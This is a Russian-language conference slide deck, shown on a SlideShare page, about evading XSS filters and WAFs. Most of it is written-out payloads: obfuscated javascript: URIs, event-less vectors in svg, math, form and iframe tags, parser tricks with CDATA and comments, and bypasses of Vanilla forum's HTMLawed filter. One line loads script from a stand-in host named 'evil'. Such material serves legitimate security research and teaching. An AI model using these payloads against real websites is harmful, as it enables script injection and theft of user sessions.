SlideShare ist ein Scribd-Unternehmen logo
1 von 59
XSS. Обходы
фильтров и защит.
Антон Лопаницын
@i_bo0om
Игорь Сак-Саковский
@psych0tr1a
Ты – один, а событий браузера много, найди их все!
Часто пропускают события вида onplay и другие, которые были
введены в HTML5.
Внедрить собственный сценарий с внешнего сайта - победа
Импорт другой страницы
<link rel=“import” href=“//mysite”>
Переопределение базового адреса текущего документа
<base href=“//mysite”>
Все относительные ссылки после вызова base будут
вызываться из указанного источника.
• Что попадает в атрибуты можно преобразовать в другое
представление символов – HTML сущности (мнемоники)
Например:
<a href=“javascript&colon;alert()”>
&colon; &#x3A; &#58;
Некоторые entities игнорируются вовсе
Табуляция &Tab; &#09;
Перенос строки &NewLine; &#x0A; &#10;
<iframe src=“jav
Ascr&Tab;ipt&colon;alert()”></iframe>
Перед шестнадцатеричными и десятичными сущностями могут
быть нули.
А перед &#0-9; вовсе и не быть нулей
Например &#9; - валидная табуляция
А еще точка с запятой не обязательна, если следующий
после entity символ не входит в его группу символов 
<iframe src="j av&NewLine;a
s&#10;cri&#9pt&#x00000000000003A;alert()"></iframe>
https://jsfiddle.net/7ercn8zh/
И как я уже говорил, во всех атрибутах
<a
href="//&bsol;&sol;&commat;g&NoBreak;o&ZeroWidthSpace;o&z
wnj;g&zwj;l&shy;e&NewLine;.&Tab;com">clickme</a>
Это ссылка на google.com
В протоколе data не обязательно указывать тип контента
<script src=data:,alert()>
Для выполнения функции не обязательно использовать скобки!
… И точку
… И знак равно
… И буквы вообще
document.cookie == document[‘cookie’]
document[‘location’]=javascript:alert()
Точки не нужны
• Его можно использовать для вызова функций
<script>alert`1`</script>
• Его можно использовать для передачи строки
document[`cookie`]
• Им можно «вырезать» неугодные нам части при двух уязвимых
параметрах, или если наши данные вставляются 2 раза.
Бэктик – твой лучший друг
document.documentElement.innerHTML=location.hash
(пишем на страницу данные после # в ссылке)
https://example.com/page.html#<script>alert()</script>
Отлично работают в паре
Все что между /слэшами/ - регулярное выражение
alert(/1/)
Добавление к регулярному выражению .source – возвращает
оригинальную строку
eval(/alert()/.source)
Обращения в контексте текущего домена не будет заблокировано
хромом
Например если попытаться вызвать <script src=/test.js>
Импорт на импорт
Если в пути у сайта есть XSS, как часто бывает:
"Страницы /<script>alert()</script>/index.html не существует!”
Ты спокойно можешь импортировать xss в текущую страницу
<link rel=import href="/<script>alert()</script>/index.html">
Импорт на импорт
example.com
/<link rel=import href="/<script>alert()</script>/index.html">/index.html
Импорт на импорт
Импортом можно вызывать ранее недоступные нам функции
<link rel=“import” href=“/page.html”>
(страница, где подключается jquery)
=>
<svg onload=$.GetScript(‘//evil’)>
Загруженный файл (например, изображение) может быть
интерпретирован как js*
Но еще круче, любой загруженный файл может быть
интерпретирован как html
?id=“><link rel=import href=“/static/userfile/myphoto.jpg”>
Внутри строк js тоже много фич, например перевод символов в
другие представления (x22, u0022), неявные вызовы функций
• http://utf-8.jp/public/jjencode.html
Вызов функции с помощью кучи спецсимволов))
• https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html
Вызов функции с помощью символов [+|>]
• http://www.jsfuck.com/
Вызов функции с помощью символов ()+[]!
Ну и прочая наркомания
• onerror=eval;throw'=alertx281x29’
• toString=alert;window+''
• setTimeout`confirmu0028document.domainx29`
• set.constructor`alertx28document.domainx29```
Где можно встретить HTML фильтры?
• WYSIWYG редакторы
• WAFы
• WEB почта
• И ещё где-нибудь в интернете
Какие бывают фильтры?
• Чёрный список
<randomtag onevent="test">randomtag</randomtag>
<randomtag>randomtag text</randomtag> Randomtag text
HTML code
• Белый список
<randomtag onevent="test">randomtag text</randomtag>
Фаззинг HTML
• Фильтр по чёрному списку
- Фаззим атрибуты событий если пропустило onevent
- Фаззим XSS вектора без событий
- Фаззим HTML теги
- Фаззим HTML теги и особенности их фильтрации
• Фильтр по белому списку
- Фаззим XSS вектора без событий
- Фаззим HTML теги и особенности их фильтрации
XSS вектора без событий
<!-- <a> -->
Атрибут href
<a href="javascript:alert(1)">click</a>
<a target="random" href="data:text/html,<script>opener.alert(1)</script>">click</a>
<!-- <base> -->
Атрибут href
<base href="javascript:alert(1)">
<a href="#">click</a>
</base>
<!-- <button> -->
Атрибут formaction
<form>
<button formaction="javascript:alert(1)">click</button>
</form>
XSS вектора без событий
<!-- <embed> [FireFox only] -->
Атрибут src
<embed src="javascript:alert(1)"></embed>
<!-- <form> -->
Атрибут action
<form action="javascript:alert(1)">
<button>click</button>
</form>
<!-- <iframe> -->
Атрибут src
<iframe src="javascript:alert(1)"></iframe>
Атрибут srcdoc
<iframe srcdoc="<script>alert(1)</script>"></iframe>
XSS вектора без событий
<!-- <input> -->
Атрибут formaction
<form>
<input type="submit" formaction="javascript:alert(1)" value="click" />
<input type="image" src="https://google.com/favicon.ico" formaction="javascript:alert(1)" />
</form>
<!-- <isindex> [Safari only] -->
Атрибут action
<isindex action="javascript:alert(1)" type="submit" value="click"></isindex>
<isindex action="javascript:alert(1)" type="image" src="https://google.com/favicon.ico"></isindex>
Атрибут formaction
<isindex formaction="javascript:alert(1)" type="submit" value="click"></isindex>
<isindex formaction="javascript:alert(1)" type="image" src="https://google.com/favicon.ico"></isindex>
XSS вектора без событий
<!-- <link> [Chrome only] -->
Атрибут href
<link rel="import" href="data:,<script>alert(1)</script>">
<!-- <math> [FireFox only] -->
Атрибут xml:base
<math xml:base="javascript:alert(1)//">
<mrow href="#">click</mrow>
<mtext>
<iframe src="#"></iframe>
</mtext>
</math>
Атрибут xlink:href
<math>
<randomtag xlink:href="javascript:alert(1)">click</randomtag>
</math>
XSS вектора без событий
<!-- <object> -->
Атрибут data [FireFox only]
<object data="javascript:alert(1)">
+ Тег <param> и аттрибут value
<object allowscriptaccess="always">
<param name="src" value="https://html5sec.org/test.swf">
</object>
<object allowscriptaccess="always">
<param name="movie" value="https://html5sec.org/test.swf">
</object>
<object allowscriptaccess="always">
<param name="code" value="https://html5sec.org/test.swf">
</object>
<object allowscriptaccess="always">
<param name="url" value="https://html5sec.org/test.swf">
</object>
XSS вектора без событий
<!-- <svg> -->
Аттрибут xml:base [FireFox only]
<svg xml:base="javascript:alert(1)//">
<a href="#">
<circle cx="100" cy="75" r="50"></circle>
</a>
<desc>
<iframe src="#"></iframe>
</desc>
</svg>
+ Тег <script> и аттрибут xlink:href
<svg>
<script xlink:href="data:,alert(1)"></script>
</svg>
XSS вектора без событий
<!-- <svg> -->
+ Тег <a> и аттрибут xlink:href
<svg>
<a xlink:href="javascript:alert(1)">click</a>
</svg>
+ Тег <use> и аттрибут xlink:href [FireFox only]
<svg>
<use
xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0ic3ZnaWQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8
yMDAwL3N2ZyI+Cgk8Zm9yZWlnbk9iamVjdD4KCQk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE
5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+Cgk8L2ZvcmVpZ25PYmplY3Q+Cjw
vc3ZnPg==#svgid" />
</svg>
XSS вектора без событий
<!-- <svg> -->
+ Тег <animate> и аттрибут from
<svg>
<a>
<animate attributeName="href" from="javascript:alert(1)" to="to" dur="100" begin="0"
repeatCount=1 />
<circle cx="150" cy="100" r=50></circle>
</a>
</svg>
+ Тег <animate> и аттрибут to
<svg>
<a>
<animate attributeName="href" from="" to="javascript:alert(1)" repeatCount="1" />
<circle cx="150" cy="100" r=50></circle>
</a>
</svg>
XSS вектора без событий
<!-- <svg> -->
+ Тег <set> и аттрибут to
<svg>
<a>
<set attributeName="href" from="" to="javascript:alert(1)" attributeType="XML"/>
<circle cx="100" cy="75" r="50"></circle>
</a>
</svg>
Особенности фильтрации.
Волшебные тэги
Конец
Особенности фильтрации.
<select><option>select</option></select>
<math>math</math>
<svg>svg</svg>
Волшебные теги
<style><test test="<test>">test</test></style>
Волшебный плейнтекст который невозможно закрыть
<plaintext><test test="<test>">test</test>
Коментарии
<!--<test test="<test>">test</test>-->
<![CDATA[<test test="<test>">test</test>]]>
<!<test test="<test>">test<!</test>
<?<test test="<test>">test<?</test>
Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов.
<title><test test=“<test>”></title>
Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов.
• XSS вектор:
<title><test test=“<test>”></title>
<title><img alt=“</title><svg/onload=alert(1)>”></title>
Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов, но
значение атрибутов энкодится в сущности.
<title><test test=“&lt;test&gt;”></title>
Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов, но
значение атрибутов энкодится в сущности.
- Фаззим другие атрибуты
<title><test test=“&lt;test&gt;”></title>
Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов, но
значение атрибутов энкодится в сущности.
- Фаззим другие атрибуты
- Используем теги math/svg/title
<title><test test=“&lt;test&gt;”></title>
<math>
<title>
<i>
<script>alert(1)</script>
</i>
</title>
</math>
Особенности фильтрации.
<svg>
<title>
<script>alert(2)</script>
</title>
</svg>
<select>
<title>
<script>alert(3)</script>
</title>
</select>
Особенности фильтрации.
<title>&lt;test test=“&lt;test&gt;"&gt;</title>
<style><!-- error --></style>
Особенности фильтрации.
• Парсер CSS
<title>&lt;test test=“&lt;test&gt;"&gt;</title>
<style><!-- error --></style>
Особенности фильтрации.
• Парсер CSS
- Фаззинг свойств CSS
- Применяем теги math/svg/title
<title>&lt;test test=“&lt;test&gt;"&gt;</title>
<style><!-- error --></style>
<style>
body {
%color%:"<test test=test>";
}
</style>
Особенности фильтрации.
• Волшебные теги вернулись отфильтрованными, но содержимое
коментариев нет.
<title>&lt;test test=“&lt;test&gt;”&gt;</title>
<!--<test test="<test>">test</test>-->
<![CDATA[<test test="<test>">test</test>]]>
<?<test test="<test>">test<!</test>
Особенности фильтрации.
• Многострочный комментарий внутри волшебного тега внутри
SVG.
• [1] - title, desc, foreignObject
• [2] - title, style, xmp, textarea, iframe, noframes, noembed, noscript
<svg>
<title [1]>
<title [2]>
<!--</title></title><script>alert(1)</script>-->
</title>
</title>
</svg>
Особенности фильтрации.
• Секция CDATA в HTML
<![CDATA[<script>alert(1)</script>]]>
Особенности фильтрации.
• Секция CDATA в HTML
• XSS вектор:
<![CDATA[<script>alert(1)</script>]]>
<![CDATA[><script>alert(1)</script>]]>
Особенности фильтрации.
• Секция CDATA в HTML
• XSS вектор:
• Загадочные комментарии и трюк с волшебными тегами
<![CDATA[<script>alert(1)</script>]]>
<title><?<img alt=“<?</title><?<iframe src=javascript:alert(1)>”></title>
<![CDATA[><script>alert(1)</script>]]>
Особенности фильтрации.
• Фаззинг вложенных тегов.
• Реальные находки в Vanilla forum (HTMLawed)
- Vanilla < 2.1.1 (реузльтат <img alt="<img qwe">)
XSS вектор:
<%тег%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f]%атр%="<%т2%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f] %атр2%>">
<%тег%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f]%атр%='<%т2%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f] %атр2%>'>
<img src="src" alt="image">"&gt;<br>img alt="<img qwe" src="src">
<img alt="<img onerror=alert(1)//">
Особенности фильтрации.
- Vanilla < 2.2.1 (результат <font color='<img//asd'>)
XSS вектор:
span style="color: <img//asd;">
<font color='<img//onerror="alert(1)"src=s'>
Подписываемся на
канал, ставим
лайки.
Антон Лопаницын
@i_bo0om
Игорь Сак-Саковский
@psych0tr1a

Weitere ähnliche Inhalte

Was ist angesagt?

Максим Ширшин "SVARX, или Борьба с большими формами"
Максим Ширшин "SVARX, или Борьба с большими формами"Максим Ширшин "SVARX, или Борьба с большими формами"
Максим Ширшин "SVARX, или Борьба с большими формами"Yandex
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложенийZestranec
 
Тестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийТестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийSQALab
 
Maksim Shirshin
Maksim ShirshinMaksim Shirshin
Maksim Shirshinyaevents
 
Ihor Bliumental - Collision CORS
Ihor Bliumental - Collision CORSIhor Bliumental - Collision CORS
Ihor Bliumental - Collision CORSOWASP Kyiv
 
Как сделать Instagram в браузере — Дмитрий Дудин, xbSoftware
Как сделать Instagram в браузере — Дмитрий Дудин, xbSoftwareКак сделать Instagram в браузере — Дмитрий Дудин, xbSoftware
Как сделать Instagram в браузере — Дмитрий Дудин, xbSoftwareYandex
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?phpdevby
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Badoo Development
 
Основые безопасности WordPress
Основые безопасности WordPressОсновые безопасности WordPress
Основые безопасности WordPressKonstantin Kovshenin
 
Стажировка-2015. Разработка. Занятие 11. Безопасность web-приложений
Стажировка-2015. Разработка. Занятие 11. Безопасность web-приложенийСтажировка-2015. Разработка. Занятие 11. Безопасность web-приложений
Стажировка-2015. Разработка. Занятие 11. Безопасность web-приложений7bits
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionAndrew Petukhov
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюкkuchinskaya
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxssyaevents
 
Алексей Байтин, Алексей Осипенко "Проверка правописания в веб-приложениях"
Алексей Байтин, Алексей Осипенко "Проверка правописания в веб-приложениях"Алексей Байтин, Алексей Осипенко "Проверка правописания в веб-приложениях"
Алексей Байтин, Алексей Осипенко "Проверка правописания в веб-приложениях"Yandex
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестированииISsoft
 
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...GoQA
 
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Sigma Software
 

Was ist angesagt? (18)

Максим Ширшин "SVARX, или Борьба с большими формами"
Максим Ширшин "SVARX, или Борьба с большими формами"Максим Ширшин "SVARX, или Борьба с большими формами"
Максим Ширшин "SVARX, или Борьба с большими формами"
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложений
 
Тестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийТестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложений
 
Maksim Shirshin
Maksim ShirshinMaksim Shirshin
Maksim Shirshin
 
Ihor Bliumental - Collision CORS
Ihor Bliumental - Collision CORSIhor Bliumental - Collision CORS
Ihor Bliumental - Collision CORS
 
Как сделать Instagram в браузере — Дмитрий Дудин, xbSoftware
Как сделать Instagram в браузере — Дмитрий Дудин, xbSoftwareКак сделать Instagram в браузере — Дмитрий Дудин, xbSoftware
Как сделать Instagram в браузере — Дмитрий Дудин, xbSoftware
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScript
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
 
Основые безопасности WordPress
Основые безопасности WordPressОсновые безопасности WordPress
Основые безопасности WordPress
 
Стажировка-2015. Разработка. Занятие 11. Безопасность web-приложений
Стажировка-2015. Разработка. Занятие 11. Безопасность web-приложенийСтажировка-2015. Разработка. Занятие 11. Безопасность web-приложений
Стажировка-2015. Разработка. Занятие 11. Безопасность web-приложений
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter edition
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюк
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
 
Алексей Байтин, Алексей Осипенко "Проверка правописания в веб-приложениях"
Алексей Байтин, Алексей Осипенко "Проверка правописания в веб-приложениях"Алексей Байтин, Алексей Осипенко "Проверка правописания в веб-приложениях"
Алексей Байтин, Алексей Осипенко "Проверка правописания в веб-приложениях"
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестировании
 
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
 
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
 

Ähnlich wie XSS. Обходы фильтров и защит.

Изоморфные приложения и Python - Виталий Глибин, Huntflow
Изоморфные приложения и Python - Виталий Глибин, HuntflowИзоморфные приложения и Python - Виталий Глибин, Huntflow
Изоморфные приложения и Python - Виталий Глибин, Huntflowit-people
 
Web осень 2012 лекция 10
Web осень 2012 лекция 10Web осень 2012 лекция 10
Web осень 2012 лекция 10Technopark
 
Web весна 2013 лекция 10
Web весна 2013 лекция 10Web весна 2013 лекция 10
Web весна 2013 лекция 10Technopark
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Andrew Mayorov
 
React со скоростью света: не совсем обычный серверный рендеринг
React со скоростью света: не совсем обычный серверный рендерингReact со скоростью света: не совсем обычный серверный рендеринг
React со скоростью света: не совсем обычный серверный рендерингTimophy Chaptykov
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. ОсновыPositive Hack Days
 
Js templating stepan_reznikov
Js templating stepan_reznikovJs templating stepan_reznikov
Js templating stepan_reznikovyaevents
 
Степан Резников "Шаблонизация на клиенте"
Степан Резников "Шаблонизация на клиенте"Степан Резников "Шаблонизация на клиенте"
Степан Резников "Шаблонизация на клиенте"Yandex
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs wafd0znp
 
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....KazHackStan
 
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''DneprCiklumEvents
 
Silverlight 4, есть ли жизнь на десктопе?
Silverlight 4, есть ли жизнь на десктопе?Silverlight 4, есть ли жизнь на десктопе?
Silverlight 4, есть ли жизнь на десктопе?Eugene Zharkov
 
Js Http Request дмитрий котеров
Js Http Request   дмитрий котеровJs Http Request   дмитрий котеров
Js Http Request дмитрий котеровMedia Gorod
 
Web весна 2013 лекция 9
Web весна 2013 лекция 9Web весна 2013 лекция 9
Web весна 2013 лекция 9Technopark
 
"VUE.JS как реакт с человеческим лицом" Дулецкий Вольдэмар, Evrone
"VUE.JS как реакт с человеческим лицом" Дулецкий Вольдэмар, Evrone"VUE.JS как реакт с человеческим лицом" Дулецкий Вольдэмар, Evrone
"VUE.JS как реакт с человеческим лицом" Дулецкий Вольдэмар, Evroneit-people
 
Web весна 2012 лекция 4
Web весна 2012 лекция 4Web весна 2012 лекция 4
Web весна 2012 лекция 4Technopark
 

Ähnlich wie XSS. Обходы фильтров и защит. (20)

Изоморфные приложения и Python - Виталий Глибин, Huntflow
Изоморфные приложения и Python - Виталий Глибин, HuntflowИзоморфные приложения и Python - Виталий Глибин, Huntflow
Изоморфные приложения и Python - Виталий Глибин, Huntflow
 
Web осень 2012 лекция 10
Web осень 2012 лекция 10Web осень 2012 лекция 10
Web осень 2012 лекция 10
 
Jsfwdays 2013-2
Jsfwdays 2013-2Jsfwdays 2013-2
Jsfwdays 2013-2
 
Web весна 2013 лекция 10
Web весна 2013 лекция 10Web весна 2013 лекция 10
Web весна 2013 лекция 10
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"
 
course js day 4
course js day 4course js day 4
course js day 4
 
React со скоростью света: не совсем обычный серверный рендеринг
React со скоростью света: не совсем обычный серверный рендерингReact со скоростью света: не совсем обычный серверный рендеринг
React со скоростью света: не совсем обычный серверный рендеринг
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. Основы
 
Js templating stepan_reznikov
Js templating stepan_reznikovJs templating stepan_reznikov
Js templating stepan_reznikov
 
Степан Резников "Шаблонизация на клиенте"
Степан Резников "Шаблонизация на клиенте"Степан Резников "Шаблонизация на клиенте"
Степан Резников "Шаблонизация на клиенте"
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf
 
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
 
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
 
Silverlight 4, есть ли жизнь на десктопе?
Silverlight 4, есть ли жизнь на десктопе?Silverlight 4, есть ли жизнь на десктопе?
Silverlight 4, есть ли жизнь на десктопе?
 
Browser Persistence Bynet
Browser Persistence BynetBrowser Persistence Bynet
Browser Persistence Bynet
 
Js Http Request дмитрий котеров
Js Http Request   дмитрий котеровJs Http Request   дмитрий котеров
Js Http Request дмитрий котеров
 
Web весна 2013 лекция 9
Web весна 2013 лекция 9Web весна 2013 лекция 9
Web весна 2013 лекция 9
 
"VUE.JS как реакт с человеческим лицом" Дулецкий Вольдэмар, Evrone
"VUE.JS как реакт с человеческим лицом" Дулецкий Вольдэмар, Evrone"VUE.JS как реакт с человеческим лицом" Дулецкий Вольдэмар, Evrone
"VUE.JS как реакт с человеческим лицом" Дулецкий Вольдэмар, Evrone
 
Web весна 2012 лекция 4
Web весна 2012 лекция 4Web весна 2012 лекция 4
Web весна 2012 лекция 4
 
Devcamp nodejs-2010
Devcamp nodejs-2010Devcamp nodejs-2010
Devcamp nodejs-2010
 

Mehr von Дмитрий Бумов

Defcon Russia 2017 - Bo0oM vs Шурыгина
Defcon Russia 2017 - Bo0oM vs ШурыгинаDefcon Russia 2017 - Bo0oM vs Шурыгина
Defcon Russia 2017 - Bo0oM vs ШурыгинаДмитрий Бумов
 
Отравление кэша веб-приложений
Отравление кэша веб-приложенийОтравление кэша веб-приложений
Отравление кэша веб-приложенийДмитрий Бумов
 
Skolkovo школа | Капельку о MITM
Skolkovo школа | Капельку о MITMSkolkovo школа | Капельку о MITM
Skolkovo школа | Капельку о MITMДмитрий Бумов
 
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegramPHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegramДмитрий Бумов
 
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...Дмитрий Бумов
 
пресс конференция 15.06.2016. безопасность платежных систем и банков
пресс конференция 15.06.2016. безопасность платежных систем и банковпресс конференция 15.06.2016. безопасность платежных систем и банков
пресс конференция 15.06.2016. безопасность платежных систем и банковДмитрий Бумов
 

Mehr von Дмитрий Бумов (20)

2000day in Safari
2000day in Safari2000day in Safari
2000day in Safari
 
Partyhack 3.0 - Telegram bugbounty writeup
Partyhack 3.0 - Telegram bugbounty writeupPartyhack 3.0 - Telegram bugbounty writeup
Partyhack 3.0 - Telegram bugbounty writeup
 
ZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | I <"3 XSSZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | I <"3 XSS
 
ZeroNights 2018 | Race Condition Tool
ZeroNights 2018 | Race Condition ToolZeroNights 2018 | Race Condition Tool
ZeroNights 2018 | Race Condition Tool
 
Offzone | Another waf bypass
Offzone | Another waf bypassOffzone | Another waf bypass
Offzone | Another waf bypass
 
Defcon Russia 2017 - Bo0oM vs Шурыгина
Defcon Russia 2017 - Bo0oM vs ШурыгинаDefcon Russia 2017 - Bo0oM vs Шурыгина
Defcon Russia 2017 - Bo0oM vs Шурыгина
 
DC7499 - Param-pam-pam
DC7499 - Param-pam-pamDC7499 - Param-pam-pam
DC7499 - Param-pam-pam
 
VolgaCTF 2018 - Neatly bypassing CSP
VolgaCTF 2018 - Neatly bypassing CSPVolgaCTF 2018 - Neatly bypassing CSP
VolgaCTF 2018 - Neatly bypassing CSP
 
Отравление кэша веб-приложений
Отравление кэша веб-приложенийОтравление кэша веб-приложений
Отравление кэша веб-приложений
 
RIW 2017 | Все плохо
RIW 2017 | Все плохоRIW 2017 | Все плохо
RIW 2017 | Все плохо
 
Skolkovo школа | Капельку о MITM
Skolkovo школа | Капельку о MITMSkolkovo школа | Капельку о MITM
Skolkovo школа | Капельку о MITM
 
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegramPHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
 
Armsec 2017 | 2 bugs 1 safari
Armsec 2017 | 2 bugs 1 safariArmsec 2017 | 2 bugs 1 safari
Armsec 2017 | 2 bugs 1 safari
 
KazHackStan 2017 | Tracking
KazHackStan 2017 | TrackingKazHackStan 2017 | Tracking
KazHackStan 2017 | Tracking
 
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...
 
Разведка боем
Разведка боемРазведка боем
Разведка боем
 
VolgaCTF | Bo0oM - DNS and attacks
VolgaCTF | Bo0oM - DNS and attacksVolgaCTF | Bo0oM - DNS and attacks
VolgaCTF | Bo0oM - DNS and attacks
 
пресс конференция 15.06.2016. безопасность платежных систем и банков
пресс конференция 15.06.2016. безопасность платежных систем и банковпресс конференция 15.06.2016. безопасность платежных систем и банков
пресс конференция 15.06.2016. безопасность платежных систем и банков
 
Fuzz.txt
Fuzz.txtFuzz.txt
Fuzz.txt
 
Zeronights 2013 - воруем домены
Zeronights 2013 - воруем доменыZeronights 2013 - воруем домены
Zeronights 2013 - воруем домены
 

XSS. Обходы фильтров и защит.

  • 1. XSS. Обходы фильтров и защит. Антон Лопаницын @i_bo0om Игорь Сак-Саковский @psych0tr1a
  • 2. Ты – один, а событий браузера много, найди их все! Часто пропускают события вида onplay и другие, которые были введены в HTML5.
